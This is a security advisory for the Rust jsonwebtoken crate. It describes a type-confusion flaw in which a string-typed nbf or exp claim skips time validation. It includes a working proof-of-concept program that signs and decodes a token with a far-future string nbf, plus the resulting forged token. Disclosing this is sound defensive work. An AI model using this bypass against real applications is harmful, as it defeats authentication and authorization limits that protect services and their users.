GHSA-h395-gr6q-cpjc

## Summary:

It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.

When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.

This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.

## Details:

The vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).

1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization: ``` enum TryParse<T> { Parsed(T), FailedToParse, // Set when deserialization fails (e.g. type mismatch) NotPresent, } ``` If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.

1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this: ``` // L288-291 if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) { return Err(new_error(ErrorKind::ImmatureSignature)); } ``` This matches! macro explicitly looks for TryParse::Parsed(nbf).

• If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned. 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check: ``` // Lines 259-267 for required_claim in &options.required_spec_claims { let present = match required_claim.as_str() { "nbf" => matches!(claims.nbf, TryParse::Parsed(_)), // ... }; if !present { return Err(...); } } ``` If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.

However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.

Environment:

• Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2

POC:

For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.

create a new project: ``` cargo new nbf_poc; cd nbf_poc ``` add required dependencies: ``` cargo add serde --features derive cargo add jsonwebtoken --features rust_crypto cargo add serde_json ``` replace the code in src/main.rs with this:

``` use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode}; use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)] struct Claims { sub: String, nbf: String, // Attacker sends nbf as a String exp: usize, } fn main() { let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";

// nbf is a String "99999999999" (Far future) // Real nbf should be a Number. let my_claims: Claims = Claims { sub: "krishna".to_string(), nbf: "99999999999".to_string(), exp: 10000000000, };

let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap(); println!("Forged Token: {}", token);

// 2. Configure Validation let mut validation: Validation = Validation::new(Algorithm::HS256); validation.validate_nbf = true; // Enable NBF check

// We do NOT add "nbf" to required_spec_claims (default behavior)

// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug. // The library sees the raw JSON with string "nbf". let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>( &token, &DecodingKey::from_secret(key), &validation );

match result { Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"), Err(e) => println!("Token rejected. Error: {:?}", e), } } ``` run cargo run

expected behaviour:

``` Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk ``` Token was accepted despite malformed far-future 'nbf'! Impact:

If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).

By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.

and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.